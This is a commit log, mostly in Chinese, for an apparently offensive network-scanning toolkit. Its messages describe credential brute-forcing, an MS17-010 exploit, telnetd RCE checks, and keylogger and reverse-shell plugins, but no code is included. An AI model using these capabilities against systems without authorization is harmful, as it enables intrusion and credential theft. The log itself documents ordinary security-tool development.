632 Commits
Author SHA1 Message Date
ZacharyZcR 7459da2b44 fix: 恢复 plugins/local 中实际使用的 config 变量
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-15 19:54:36 +08:00
ZacharyZcR 9d191889d0 fix: 移除 composite action 中不支持的 timeout-minutes 2026-05-15 18:43:12 +08:00
ZacharyZcR 2e277a51ed fix: 修复 plugins/local 未使用变量导致编译失败 2026-05-15 18:41:36 +08:00
ZacharyZcR 46e50a021f ci: 修复发布超时 — 增加 timeout-minutes 以及步骤级超时
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-13 17:32:09 +08:00
ZacharyZcR b32ce5dec8 ci: 添加 main 分支 push 触发 CI 验证 2026-05-13 17:32:09 +08:00
ZacharyZcRandr00t 2c2ca6ace3 v2.1.3 Release (#572)
* add CVE-2026-24061 detect logic  (#562)

* add CVE-2026-24061 detect logic

* fix(telnet): 修复 errcheck 警告,统一错误处理风格

---------

Co-authored-by: ZacharyZcR <[email protected]>

* fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码

- hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争
- port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁
- web_scanner.go: 删除只写不读的 fingerprintCache
- webtitle.go: 移除对已删除 SetFingerprints 的调用
- keylogger.go: 删除未使用的 stopChan 和 isRunning 字段

* refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效

- RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件
- 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup,
  通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁
- Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路
- ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务
- CLI 模式传 context.Background(),行为完全不变

* fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic

- scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回
- smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验

* fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race

- webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background();
  sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争
- webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan
- webpoc.go: 传递 ctx 到 WebScan
- proxy/types.go: ProxyStats 增加 sync.Mutex
- proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁

* fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警

Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex

* fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑

- httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex
- findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic
- ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验
- web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试
- Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置

* fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消

- scan.go: Web API 构建 config/state 后同步到全局实例
- config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志
- reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消
- forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞
- socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞

* refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3)

- 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer
- RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session
- Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session)
- 48 个插件实现统一更新签名
- Web API 构建 ScanSession 传给 RunScan
- CLI 模式通过 Initialize() 创建 session

* refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4)

- core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session
- core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP
- core/icmp.go: CheckLive/tcpProbeAlive 接入 session
- 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session
- 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理)
- plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留

* refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5)

- core/alive_scanner.go: GetFlagVars() → session.Params
- core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports
- common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局
- common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave
- common/network.go: WrapperTcpWithTimeout 标记 Deprecated
- core/ 和 plugins/ 下已无全局状态调用残留

* fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题

* fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过

* perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代

* feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报

* perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半

* fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏

* fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复

* perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min

* fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报

* perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底

* fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数

* feat: Release 增加 armv5 架构支持

* chore: bump version to 2.1.3

* fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败

* fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题

* feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费

- 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON
- LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题
- 支持 fscan -h xxx -silent | jq 管道用法

* fix rdp invalid random panic (#573)

* restore ms17010 legacy detection and exploit (#574)

* fix ms17010 legacy packet decoding (#574)

* fix csv web title output (#575)

* fix web result protocol output (#577)

* feat: add -ntp flag to disable TCP supplementary probe

* fix: skip TCP supplementary probe in icmp mode

* feat: add -debug flag with file logging to fscan_debug.log

* fix: resolve golangci-lint errcheck and staticcheck warnings

* fix: skip proxy deep verification for SOCKS5 connections (#579)

SOCKS5 protocol validates connection reachability at protocol level,
deep verification was incorrectly rejecting non-banner services like
SMB(445), RPC(139) and Kerberos(88).

* fix: exclude timeout from scan failure rate calculation (#578)

Timeout is a normal scan result when firewalls drop packets, not a
scan failure. Only resource exhaustion errors count toward failure rate.

* feat: flatten NDJSON output for AI agent consumption and add SKILL.md

* perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时

* perf: 四项扫描性能优化

- SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积
- 服务探测超时自适应,RTT 采样约束读超时上限
- 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行
- ICMP 批量预构建包和地址,减少发送循环开销

* perf: 六项性能优化

- DNS 解析缓存:sync.Map 缓存避免重复系统调用
- 凭据测试 TCP 预检:不可达目标直接跳过全部凭据
- Web 探测 HTTP Client 复用:全局共享连接池
- 端口扫描 Bloom Filter 去重:替代 map 降低内存
- 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争
- 服务探针预解码:Init 时预编译,运行时零解码开销

* refactor: replace bloom filter with map for deduplication

Bloom filter has false positive risk which can silently drop valid
scan results. Map provides exact deduplication with negligible memory
overhead at the scale of open ports (typically thousands, not millions).

* fix: credential TCP precheck bypass proxy and pipeline goroutine leak

- Skip TCP precheck when proxy is enabled, net.DialTimeout cannot
  reach targets behind SOCKS5/HTTP proxy
- Drain stream channel on ctx cancellation to prevent EnhancedPortScan
  goroutine from blocking on a full channel

* fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms

* fix: resolve golangci-lint errcheck and staticcheck warnings

---------

Co-authored-by: r00t <[email protected]>
2026-05-13 14:41:23 +08:00
ZacharyZcR db0b53b139 fix(ci): 扩展 UPX 压缩范围覆盖 ARM/MIPS/FreeBSD 架构 2026-04-25 18:13:52 +08:00
ZacharyZcR 4c58843033 chore: 版本号更新为 2.1.2 2026-04-25 17:43:53 +08:00
ZacharyZcR 760c8ea502 v2.1.2 核心优化与多架构发布 (#561)
* feat: v2.1.0 核心重构与功能增强

## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n

## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池

## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)

## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建

## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
  JSON 输出格式、Redis 检测、Context 超时等

## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)

* fix(ci): 移除 PR 对 Project 自动化的触发

* fix: Elasticsearch未授权检测优先于爆破 (#554)

* fix: 修复RDP爆破高误报率问题 (#555)

- 移除 screen.go 中错误的认证结果覆盖逻辑
- 启用 NLA 协议的 ErrorCode 字段检测
- 添加 PubKeyAuth 验证确保认证真正成功
- 修复 io.go 中错误被静默忽略的问题
- 修复 socket.go/io.go 中可能导致 panic 的代码
- 修复 screen.go 中文件句柄泄漏和 log.Panic

* fix: 修复-user/-pwd凭据参数不生效的问题

问题原因:
- Parse()解析凭据后更新globalConfig
- 但BuildConfigFromFlags()创建新Config时使用默认字典
- 导致解析的UserPassPairs等凭据信息被丢弃

修复内容:
1. initialize.go: 将Parse解析的凭据结果应用到新Config
2. credential.go: 单用户密码对时创建UserPassPairs
3. rdp.go: 单凭据测试时跳过指纹识别,减少连接次数

* feat: RDP使用NLA仅验证模式,避免挤掉已登录用户

- 添加ErrNLAAuthSuccess标志用于NLA验证成功信号
- tpkt层支持nlaAuthOnly模式,验证成功后不建立完整会话
- x224层正确传播NLA验证结果
- rdpCrack改用NlaAuth进行凭据验证

* fix: 修复进度条在Windows终端满屏重复输出的问题

- 添加终端宽度检测,动态调整进度条长度
- 使用空格覆盖清除旧内容,避免残留
- 简化进度条格式,确保不超过终端宽度

* feat: 优化日志颜色方案,区分漏洞和普通信息

- 新增 LogVuln 级别(红色),用于漏洞和重要发现
- 密码爆破成功、未授权访问、POC漏洞等改用红色显示
- 普通信息(扫描统计等)改为白色
- Web指纹保持绿色

* refactor: 精简化输出,移除冗余启动信息

- 移除showParseSummary开局配置输出
- 移除LogPluginInfo/LogPluginInfoWithPort插件信息输出
- 移除alive_scanner冗余统计输出
- 移除port_scan_start扫描开始提示
- 移除handleUDPPorts SNMP死代码
- 移除相关i18n条目

* chore: 版本号更新为2.1.1

* fix: 降级依赖版本以保持Go 1.20兼容性

* feat(ldap): 添加NTLM Hash认证支持 (#433)

* chore: 清理无用的 replace 指令

* fix(ping): 修复 TTL expired 导致主机误判为存活的问题

在 ExecCommandPing 中增加错误关键词检测,当 ping 输出包含
TTL expired、Destination unreachable 等错误信息时,不再将
目标主机标记为存活。

Fixes #454

* fix(proxy): 修复透明代理导致输出全端口的问题

在代理初始化时主动探测代理行为,通过连接 RFC 5737 保留的
测试地址来检测是否存在"全回显"问题。如果探测到代理不可靠,
则在端口扫描时跳过所有端口,避免误报。

- 新增 proxyReliable 标志位标记代理可靠性
- 新增 ProbeProxyBehavior 函数探测代理行为
- 端口扫描前检查代理可靠性并输出警告

Fixes #495

* refactor: 移动debug模块到common/debug子包

* fix(web): 修复-u模式下Web插件未执行的问题

* fix: 优化输出格式和颜色显示

- 网段统计格式改为 10.253.0.0/16 网段存活: 26
- WebTitle基础信息改为白色,指纹识别单独绿色输出
- 移除重复的端口数量输出

* fix: URL解析自动补全协议头

-uf 文件中 192.168.1.1:8080 自动转为 http://192.168.1.1:8080

* fix: 修复-u/-uf模式下URLs丢失导致0目标扫描的问题

Parse阶段将URLs设置到全局状态,但Initialize随后创建新状态
并覆盖了全局状态,导致URLs数据丢失。现在在创建新状态前
先保存并迁移Parse阶段设置的URLs和HostPorts数据。

* fix: 智能检测HTTP/HTTPS协议并优化URL显示

- 修复-u/-uf模式URLs丢失导致0目标扫描问题
- detectProtocol改为主动TLS握手检测,不依赖服务名
- WebTitle输出显示完整协议(http/https)
- 隐藏标准端口(80/443)使输出更简洁

* refactor: 精简parsers包,统一配置构建入口

- 删除冗余的中间层(XXXInput、XXXParser类)
- 新增 config_builder.go 统一配置构建
- parsers包从3000+行精简至~540行
- 保留核心函数:ParseIP、ParsePort、文件读取、凭据解析

* test: 扩展parsers单元测试覆盖边缘情况

- 新增内网简写解析测试(192/172/10)
- 新增完整IP范围和无效CIDR测试
- 新增Windows行尾(CRLF)处理测试
- 新增凭据和哈希文件解析测试
- 新增端口解析边缘情况测试
- 测试覆盖率达到94.2%

* refactor: 优化控制台输出格式

- 去掉时间戳,保留[*][+]前缀
- Web输出合并WebTitle和WebFinger为一行
- 有指纹显示绿色[+],无指纹显示白色[*]
- 格式: code:xxx len:xxx title:xxx server:xxx [指纹]
- 服务探测格式: [Product:xxx ||Version:xxx] Banner:(xxx)
- 字段对齐,输出更清爽

* feat: 添加凭据测试未发现弱密码的提示

- credential_tester.go: 失败时设置 Type=ResultTypeCredential
- scanner.go: 根据结果类型在 error 级别输出'未发现弱密码'提示
- 新增 i18n 翻译 brute_no_weak_pass

使用 -log all 或 -log error 可看到此提示

* refactor(logging): 重构日志级别为层级过滤设计

- LogLevel 从 string 改为 int 类型,支持层级比较
- 层级设计:Debug(0) < Base(1) < Info(2) < Success(3) < Vuln(4) < Error(5)
- 设置一个级别后,显示该级别及以上的日志
- Error 级别始终显示,不会被配置过滤掉
- 保留向后兼容别名(LevelAll, LevelInfoSuccess 等)
- 更新测试以匹配新的层级过滤行为

* style(logging): Error级别日志改为黄色显示

* style(findnet): NetInfo输出改为每行一个IP

* refactor(ms17010): 优化错误提示,明确指出SMBv1不支持等情况

* fix(credential): 修复凭据测试结果不一致的问题

问题原因:
1. 未知错误类型不重试,导致服务端限流时跳过正确密码
2. SSH 错误分类不够准确,某些临时错误未被识别

修复内容:
1. 未知错误改为可重试(可能是临时问题)
2. 增加 SSH 特有的网络错误识别(handshake failed, disconnect 等)

* fix(portfinger): 修复SMB2服务指纹识别和NetInfo输出问题

- 添加SMB2ProgNeg探针支持现代Windows的SMB2协议
- 修复Go regexp对高位字节的UTF-8兼容问题,使用Latin-1转换
- 修复探针失败后连接重建逻辑
- 修复vendor_product字段名不匹配问题
- 修复NetInfo多行输出被其他日志打断的问题

* fix(config): 从默认端口移除9100,避免触发打印机打印 (#517)

* feat(proxy): 增强代理端口扫描的深度验证机制

- 新增4阶段深度验证:Banner读取→探测发送→响应等待→最终判定
- 新增SOCKS5错误码和代理错误文本检测
- 优化ProbeProxyBehavior探测逻辑,发送数据验证连接可达性
- 解决透明代理/全回显代理导致的假阳性问题

* fix(proxy): 修复代理深度验证的若干问题

- detector.go: 修复 AutoConfigureProxy 覆盖探测结果的问题
  只有未探测过时才设置默认 proxyReliable 值

- port_scan.go: 改进深度验证机制
  - 使用带 Host header 的 HTTP GET 请求替代 OPTIONS
  - 延长响应等待超时至 2s 以适配慢速服务器
  - 正确重置连接 deadline 避免影响后续操作

* refactor: 统一 common 包文件命名风格

Flag.go -> flag.go

* refactor(proxy): 删除自定义 contains() 函数,改用标准库

- 用 strings.Contains() 替代手写的 contains()
- 删除过时的注释

* fix(parsers): 修复带横杠域名被误识别为IP范围的问题

如 111-555.sss.com 这类域名因包含 - 被错误解析为 IP 范围,
添加 looksLikeIPRange() 检查,只有 - 前是有效 IP 才走范围解析

* fix(proxy): 修复代理模式下服务识别错误和端口漏扫问题

- port_scan.go: 验证通过后重建干净连接,避免HTTP GET探测污染服务识别
- port_scan.go: 优化验证策略,用轻量CRLF探测替代HTTP GET,超时从2.2s降至0.6s
- manager.go: 修正ProbeProxyBehavior判断逻辑,超时应视为代理正常转发

* fix(pool): 移除线程池预分配,优化大规模扫描内存占用

WithPreAlloc(true) 会预先创建所有 worker goroutine,
在大规模扫描(如 25域名×65535端口)时可能导致内存问题

* refactor(logging): 统一日志前缀,删除废弃的 LogBase

- 删除 LogBase 函数,所有调用迁移到 LogInfo/LogError
- 新增 PrefixDebug ([.]) 前缀,所有日志级别现在都有前缀
- 修复日志输出缩进不一致的问题
- 删除未使用的 PrefixDefault 常量

* perf(icmp): 实现自适应等待算法优化存活检测性能

- 新增 waitAdaptive 函数,监控响应增量实现智能提前结束
- 算法保守原则:最小等待1s + 连续500ms无新响应才提前结束
- 添加100ms检查间隔避免CPU空转
- 保留原有最大等待时间(3s/6s)作为兜底
- 添加完整单元测试覆盖各种场景

优化效果:
- 全部响应:~100ms (原3s)
- 无响应:~1s (原3s)
- 部分响应后稳定:~1.5s (原3s)

* perf(scan): 实现启发式优化提升扫描体验

1. 端口优先级排序:高价值端口(80,443,22,3389等)优先扫描
   - 用户能更快看到有意义的结果
   - 不影响端口喷洒策略

2. TCP 补充探测:ICMP 响应率<10%时自动启用
   - 对未响应主机用 TCP 80/443/22/445 补充探测
   - 解决防火墙过滤 ICMP 导致漏检的问题

* refactor(grdp): 精简RDP库,删除认证检测不需要的代码

- 删除 VNC 协议支持 (protocol/rfb, client/rfb.go)
- 删除完整客户端框架 (client/)
- 删除 RemoteApp 等插件 (plugin/)
- 删除 RLE 图形解压 (core/rle.go)
- 删除绘图指令处理 (pdu/orders.go, pdu/gdi.go)
- 精简 screen.go,移除截图和完整会话功能
- 移除未使用的 RGB 转换函数

grdp 代码从 13,044 行精简至 7,581 行,削减 42%

* refactor(common): 删除死代码,优化代码风格

- 删除未使用的 joinStrings/joinInts 函数
- 删除未使用的 memStats 字段和 getMemoryInfo 方法
- 简化 parsePasswords 中的循环为 append(...) 形式

* refactor(services): 统一数据库插件的DBWrapper

4个数据库插件(MySQL、PostgreSQL、MSSQL、Oracle)都有相同的sql.DB包装代码,
合并为通用的SQLDBWrapper,减少重复。

* refactor(core,grdp): 删除未使用的死代码

- 移除 BaseScanStrategy.LogPluginInfoWithPort 方法(无调用者)
- 移除 mcs.go 中被注释的旧 connect 函数实现

* refactor: 删除 deadcode 检测出的未使用函数

- proxy/detector.go: 删除 IsSOCKS5Standard, IsProxyInitialized
- findnet.go: 删除 NetworkInfo.OneLine, TreeFormat 方法
- port_scan.go: 删除 estimateScanTime 函数
- web_scanner.go: 删除 GetFingerprints 函数
- 清理相关测试代码

* refactor: 删除更多未使用的死代码

- parse.go: 删除 RemoveDuplicate 函数及其测试
- parsers.go: 删除 excludeHosts, removeDuplicates 别名函数
- 更新测试使用真正的函数名

* fix(test): 修复 TestParseIP_InvalidIPRange 测试用例

- 删除不合理的测试用例(无效IP被当作普通主机名处理是设计行为)
- 修复测试逻辑,只在真正通过时输出"正确"

* fix(scan): 移除域名预解析,保留原始域名进行扫描

域名预解析会将域名转换为IP,导致虚拟主机场景下HTTP访问失败
(Host头变成IP而非域名,无法正确路由)

* fix(scan): 修复 -hf 参数无法单独使用的问题

* fix(proxy): 修复透明代理环境下 SOCKS5 代理全端口误报问题

问题:在透明代理(TUN模式)环境下使用 SOCKS5 代理扫描时,
会出现全端口开放的误报,因为代理可靠性检测被透明代理污染。

修复方案(参考 fscanx):
1. 将探针从 CRLF 改为 HTTP GET,更有效检测真实连接状态
2. 删除 "uncertain" 状态,无响应一律判定为端口关闭
3. 调整超时时间以适应代理链路延迟

Fixes #524

* feat(telnet): 新增 telnetd RCE 命令执行验证,修复未授权访问日志级别

* fix: 修复 i18n.Tr vet 报错、Unicode 测试用例,移除过期域名

- 移除 i18n.Tr 中错误的 fmt.Sprintf fallback,消除 go vet 误报
- 修复 match_engine_test Unicode 测试用例与 Latin-1 转换逻辑不匹配
- README 移除过期的 fscan.club 域名
- 添加 .gitattributes 统一换行符为 LF

* refactor: 统一控制台输出风格,使用统一的日志函数

手动合并 PR #558 的改动,适配重构后的代码路径

* fix(ci): 修复版本注入和CI触发配置

- goreleaser ldflags 指向正确的包路径 common.version/commit/date
- version 改为 var 支持 ldflags 注入,banner 显示 commit 和构建日期
- test-build 触发分支增加 dev-* 通配

* fix(ci): 修复 Windows 产物 .exe.exe 双后缀问题

* feat(ci): 扩展构建架构支持 MIPS/ARM/FreeBSD/Solaris
2026-04-25 17:39:16 +08:00
ZacharyZcR 594f567650 Update README.md 2026-04-14 06:09:38 +08:00
ZacharyZcR 6b13b2e84f feat: 添加 GitHub Issue 模板
- bug_report.yml: Bug 报告模板
- feature_request.yml: 功能请求模板
- plugin_request.yml: 新插件/协议支持请求模板
- false_positive.yml: 误报/漏报报告模板
- config.yml: 禁用空白 issue,添加文档链接
2025-12-20 10:31:39 +08:00
ZacharyZcR 03b21f92f1 docs: 测试构建 2025-07-17 23:08:06 +08:00
ZacharyZcR 2674e469b8 docs: 测试构建 2025-07-17 23:00:28 +08:00
ZacharyZcR d4a486763b docs: 测试构建 2025-07-17 22:45:05 +08:00
ZacharyZcR 6fe1f11e36 docs: 测试构建 2025-07-17 22:36:51 +08:00
ZacharyZcR 6f17deb963 docs: 测试构建 2025-07-17 22:26:42 +08:00
ZacharyZcR 820ba6a35b docs: 测试构建 2025-07-17 22:19:25 +08:00
ZacharyZcR 5bdfd769f2 docs: 测试构建 2025-07-17 22:14:53 +08:00
ZacharyZcR b6b898532b docs: 测试构建 2025-07-17 22:10:56 +08:00
ZacharyZcR 5dd74269a8 docs: 测试构建 2025-07-17 22:07:13 +08:00
ZacharyZcR 26d0955ec6 docs: 测试构建 2025-07-17 21:59:39 +08:00
ZacharyZcR a198aeabe5 docs: 测试构建 2025-07-17 21:52:06 +08:00
ZacharyZcR f182732a8b docs: 测试构建 2025-07-17 21:42:49 +08:00
ZacharyZcR b49228a07b docs: 测试构建 2025-07-17 21:37:01 +08:00
ZacharyZcR 3af09b7d8a docs: 测试构建 2025-07-17 21:33:36 +08:00
ZacharyZcR 379117b07a docs: 测试构建 2025-07-17 21:26:49 +08:00
ZacharyZcR 4adb4222dd docs: 测试构建 2025-07-17 21:23:29 +08:00
ZacharyZcR dd8e327a56 docs: 测试新的构建 2025-07-17 18:15:50 +08:00
ZacharyZcR ad5798d02e docs: 测试新的构建 2025-07-17 18:12:28 +08:00
ZacharyZcR 3c8511e91f docs: 测试新的构建 2025-07-17 18:09:18 +08:00
ZacharyZcR d5e2c15333 docs: 测试新的构建 2025-07-17 18:00:25 +08:00
ZacharyZcR 9967b34fff 触发工作流测试 2025-07-17 17:59:10 +08:00
ZacharyZcR 487681b353 docs: 测试新的构建 2025-07-17 17:53:18 +08:00
ZacharyZcR b1e67fd7b1 docs: 测试新的构建 2025-07-17 17:48:11 +08:00
shadow1ng ac68df70f7 合并dev。变动太大,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 22:08:28 +08:00
shadow1ng 76cbdfb5f6 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Common/Config.go
#	Common/Flag.go
#	Common/Log.go
#	Common/Parse.go
#	Common/ParseIP.go
#	Common/ParseScanMode.go
#	Core/ICMP.go
#	Core/PortScan.go
#	Core/Scanner.go
#	Plugins/WebTitle.go
#	README.md
#	WebScan/WebScan.go
#	WebScan/lib/Check.go
2025-05-12 22:01:58 +08:00
shadow1ng c4378545b9 合并dev。变动太大吗,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 21:59:16 +08:00
shadow1ng 5aa2fd3599 简化输出格式 2025-05-12 20:20:53 +08:00
shadow1ng faa9f319c8 update README.md 2025-05-12 18:17:45 +08:00
ZacharyZcR 25dc6102ed perf: 默认线程改为600 2025-05-10 16:56:41 +08:00
ZacharyZcR 0dc4a6c360 perf: 日常优化 2025-05-05 04:00:35 +08:00
ZacharyZcR 2b4a4024b8 perf: 删除无用函数 2025-05-05 02:24:37 +08:00
ZacharyZcR e58a48ba9b fix: 修复扫描逻辑 2025-04-26 06:18:01 +08:00
ZacharyZcR a8bd8ca508 docs: 移除说明,版本号增加 2025-04-26 04:25:22 +08:00
ZacharyZcR 247459a7f7 fix: 细节修复 2025-04-26 04:16:31 +08:00
ZacharyZcR 424c654c43 Merge pull request #470 from tongque0/dev
feat: 新增api扫描功能
2025-04-25 22:27:55 +08:00
tongque 7865038b22 fix:修复rebase时造成的参数丢失 2025-04-22 19:11:40 +08:00
tongque 64588ab28a feat: 添加扫描结果响应中的总结果数和结束结果数字段,并优化错误日志记录 2025-04-22 19:05:05 +08:00
tongque 2d9ea9c1d3 fix: 修复 API 密钥逻辑,确保正确设置和使用 Fscan-API-SECRET 头 2025-04-22 19:05:05 +08:00
tongque a30cd12249 refactor: rpc请求需要配置请求头:秘钥 2025-04-22 19:05:05 +08:00
tongque c074adb3a9 feat: 增强 gRPC 和 HTTP 网关服务 2025-04-22 19:05:05 +08:00
tongque f2475bf97c perf:对flag.go更少的修改,方便rebase查看文件变化 2025-04-22 19:05:00 +08:00
tongque 580b067298 fix:修复rebase时产生错误 2025-04-22 19:04:06 +08:00
tongque a010fcbb6c feat: 实现扫描任务的并发控制,优化参数解析和输出初始化逻辑 2025-04-22 19:04:06 +08:00
tongque 1f0d11d93e feat: 增加远程参数解析功能并重构扫描逻辑 2025-04-22 19:04:00 +08:00
tongque a3c5092f9b feat: 添加误删文件 2025-04-22 19:03:42 +08:00
tongque 16e40fe7ed feat: 添加API地址和加密密钥配置,重构API服务启动逻辑 2025-04-22 19:03:42 +08:00
tongque f921d81a76 feat:新增rpc服务 2025-04-22 19:03:42 +08:00
ZacharyZcR a1452eb635 fix: 参数修正 2025-04-20 19:30:23 +08:00
ZacharyZcR e4833fd5af Merge pull request #473 from cdxiaodong/dev
添加了端口排除,用来绕过端口蜜罐, 我看代码里面已经有写了 但是不能直接命令行参数调过去
2025-04-20 19:19:00 +08:00
I0veD 9092b09b16 Update Parse.go 2025-04-20 19:16:59 +08:00
I0veD d90deb0201 Update Flag.go 2025-04-20 19:16:26 +08:00
ZacharyZcR d1d242e6a8 Merge pull request #424 from adeljck/main
Update springboot-cve-2021-21234.yml
2025-04-20 18:47:42 +08:00
ZacharyZcR 28a64d60c4 Merge pull request #434 from INT2ECALL/patch-1
Update etcd-v3-unauth.yml
2025-04-20 18:38:46 +08:00
影舞者 124d29a6b3 nopoc
nopoc
2025-04-18 10:15:22 +08:00
影舞者 4928b4668a 1 2025-04-18 10:12:15 +08:00
梁凯强 5dfd0397d5 简化输出格式 2025-04-18 10:07:05 +08:00
shadow1ng 805af82a1e 简化输出格式 2025-04-17 16:18:21 +08:00
shadow1ng 875d128e53 nopoc 2025-04-17 11:17:43 +08:00
ZacharyZcR 36134b7298 Update README.md 2025-04-15 18:22:21 +08:00
ZacharyZcR be3affcedd docs: 重写README 2025-04-15 18:19:25 +08:00
ZacharyZcR 165ac8507d Merge pull request #468 from LingJingMaster/dev
添加新生成的相关logo 至image/gpt-4o
2025-04-15 17:47:36 +08:00
影舞者 0d8f31b72d 修改版本号 2025-04-15 16:48:07 +08:00
ZacharyZcR 77705118d5 refactor: 大量重构 2025-04-14 02:36:16 +08:00
LingJingMaster 7da74ebb52 添加GPT-4o最终图片 2025-04-13 21:30:37 +08:00
LingJingMaster a8b83f90a0 添加 GPT-4o 相关图片 2025-04-13 20:34:25 +08:00
ZacharyZcR a2c56ab106 fix: 大型修复,增加超时和线程控制 2025-04-13 19:17:49 +08:00
ZacharyZcR b89e892f14 fix: #457 2025-04-13 19:15:16 +08:00
ZacharyZcR f79b12a23c fix: #439 2025-04-13 15:46:37 +08:00
ZacharyZcR b8cc8ab5dc fix: #460 2025-04-13 15:08:34 +08:00
ZacharyZcR b73996884f fix: SSH优化和修复 2025-04-13 13:07:28 +08:00
ZacharyZcR c58b63a6ac fix: 修复#444 2025-04-05 22:00:21 +08:00
ZacharyZcR e4e3ff1763 fix: 修复#439 2025-04-05 21:55:57 +08:00
ZacharyZcR e962b9171b fix: 修复#443 2025-04-05 21:43:41 +08:00
ZacharyZcR 2c4e1d9c28 fix: 降低版本 2025-04-05 17:46:53 +08:00
ZacharyZcR e688b42efe fix: 修复#435 2025-04-05 17:44:52 +08:00
ZacharyZcR 1e42d41a1c fix: 修复#435 2025-04-05 17:42:13 +08:00
ZacharyZcR 87ceba4d8f fix: 修复#431 2025-04-05 17:24:09 +08:00
shadow1ng cb6d67ed7b update 2025-02-25 20:15:15 +08:00
